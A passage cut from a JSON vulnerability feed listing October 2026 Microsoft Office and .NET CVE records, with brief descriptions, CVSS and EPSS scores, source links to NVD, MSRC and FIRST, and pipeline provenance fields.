exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:09.810Z","updatedAt":"2026-10-15T21:19:26.770Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97008","asOf":"2026-10-15T21:19:26.770Z"},"epss":{"probability":0.00859,"percentile":0.58193,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97008&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97008","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97008","type":"primary","publishedAt":"2026-10-13T19:22:09.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97008","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97008&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97008, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97007","cveId":"CVE-2026-97007","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:09.687Z","updatedAt":"2026-10-15T21:19:26.647Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97007","asOf":"2026-10-15T21:19:26.647Z"},"epss":{"probability":0.00859,"percentile":0.58195,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97007&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97007","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97007","type":"primary","publishedAt":"2026-10-13T19:22:09.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97007","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97007&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97007, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97004","cveId":"CVE-2026-97004","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:09.430Z","updatedAt":"2026-10-15T21:19:26.400Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97004","asOf":"2026-10-15T21:19:26.400Z"},"epss":{"probability":0.00859,"percentile":0.58194,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97004&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97004","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97004","type":"primary","publishedAt":"2026-10-13T19:22:09.430Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97004","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97004&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97004, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97003","cveId":"CVE-2026-97003","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:09.307Z","updatedAt":"2026-10-15T21:19:26.277Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97003","asOf":"2026-10-15T21:19:26.277Z"},"epss":{"probability":0.00758,"percentile":0.54936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97003&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97003","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97003","type":"primary","publishedAt":"2026-10-13T19:22:09.307Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97003","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97003&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97003, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97001","cveId":"CVE-2026-97001","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:09.180Z","updatedAt":"2026-10-15T21:19:26.140Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97001","asOf":"2026-10-15T21:19:26.140Z"},"epss":{"probability":0.00378,"percentile":0.31477,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97001&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97001","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97001","type":"primary","publishedAt":"2026-10-13T19:22:09.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97001","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97001&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97001, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96997","cveId":"CVE-2026-96997","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office OneNote allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Office OneNote allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Office OneNote allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:09.060Z","updatedAt":"2026-10-15T21:19:25.980Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96997","asOf":"2026-10-15T21:19:25.980Z"},"epss":{"probability":0.00307,"percentile":0.23311,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96997&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96997","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96997","type":"primary","publishedAt":"2026-10-13T19:22:09.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96997","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96997&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96997, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96996","cveId":"CVE-2026-96996","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:08.940Z","updatedAt":"2026-10-15T17:35:52.977Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96996","asOf":"2026-10-15T17:35:52.977Z"},"epss":{"probability":0.00323,"percentile":0.25036,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96996&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96996","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96996","type":"primary","publishedAt":"2026-10-13T19:22:08.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96996","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96996&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96996, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96995","cveId":"CVE-2026-96995","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Office Word allows an authorized attacker to elevate privileges locally.","summary":"Stack-based buffer overflow in Microsoft Office Word allows an authorized attacker to elevate privileges locally.","detail":"Stack-based buffer overflow in Microsoft Office Word allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:08.813Z","updatedAt":"2026-10-15T21:19:25.793Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96995","asOf":"2026-10-15T21:19:25.793Z"},"epss":{"probability":0.00307,"percentile":0.23311,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96995&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96995","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96995","type":"primary","publishedAt":"2026-10-13T19:22:08.813Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96995","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96995&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96995, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96960","cveId":"CVE-2026-96960","aliases":[],"kind":"vulnerability","title":"Asymmetric resource consumption (amplification) in .NET allows an unauthorized attacker to deny service over a network.","summary":"Asymmetric resource consumption (amplification) in .NET allows an unauthorized attacker to deny service over a network.","detail":"Asymmetric resource consumption (amplification) in .NET allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:08.670Z","updatedAt":"2026-10-22T22:20:09.367Z","regions":["Global"],"vendor":"microsoft","product":".net","stacks":[".NET",".net"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96960","asOf":"2026-10-22T22:20:09.367Z"},"epss":{"probability":0.01203,"percentile":0.68041,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96960&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96960","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96960","type":"primary","publishedAt":"2026-10-13T19:22:08.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96960","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96960&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96960, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96959","cveId":"CVE-2026-96959","aliases":[],"kind":"vulnerability","title":"Allocation of resources without limits or throttling in .NET allows an unauthorized attacker to deny service over a network.","summary":"Allocation of resources without limits or throttling in .NET allows an unauthorized attacker to deny service over a network.","detail":"Allocation of resources without limits or throttling in .NET allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:08.527Z","updatedAt":"2026-10-22T22:20:09.200Z","regions":["Global"],"vendor":"microsoft","product":".net","stacks":[".NET",".net"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96959","asOf":"2026-10-22T22:20:09.200Z"},"epss":{"probability":0.00969,"percentile":0.61625,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96959&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96959","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96959","type":"primary","publishedAt":"2026-10-13T19:22:08.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96959","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96959&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96959, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96958","cveId":"CVE-2026-96958","aliases":[],"kind":"vulnerability","title":"Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.","summary":"Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.","detail":"Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:08.387Z","updatedAt":"2026-10-22T22:20:08.990Z","regions":["Global"],"vendor":"microsoft","product":".net","stacks":[".NET",".net"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96958","asOf":"2026-10-22T22:20:08.990Z"},"epss":{"probability":0.01203,"percentile":0.6804,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96958&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96958","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96958","type":"primary","publishedAt":"2026-10-13T19:22:08.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96958","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96958&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96958, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96957","cveId":"CVE-2026-96957","aliases":[],"kind":"vulnerability","title":"Improper verification of cryptographic signature in .NET allows an unauthorized attacker to bypass a security feature over a network.","summary":"Improper verification of cryptographic signature in .NET allows an unauthorized attacker to bypass a security feature over a network.","detail":"Improper verification of cryptographic signature in .NET allows an unauthorized attacker to bypass a security feature over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:08.267Z","updatedAt":"2026-10-22T22:20:08.840Z","regions":["Global"],"vendor":"microsoft","product":".net","stacks":[".NET",".net"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96957","asOf":"2026-10-22T22:20:08.840Z"},"epss":{"probability":0.00534,"percentile":0.44796,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96957&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96957","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96957","type":"primary","publishedAt":"2026-10-13T19:22:08.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96957","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 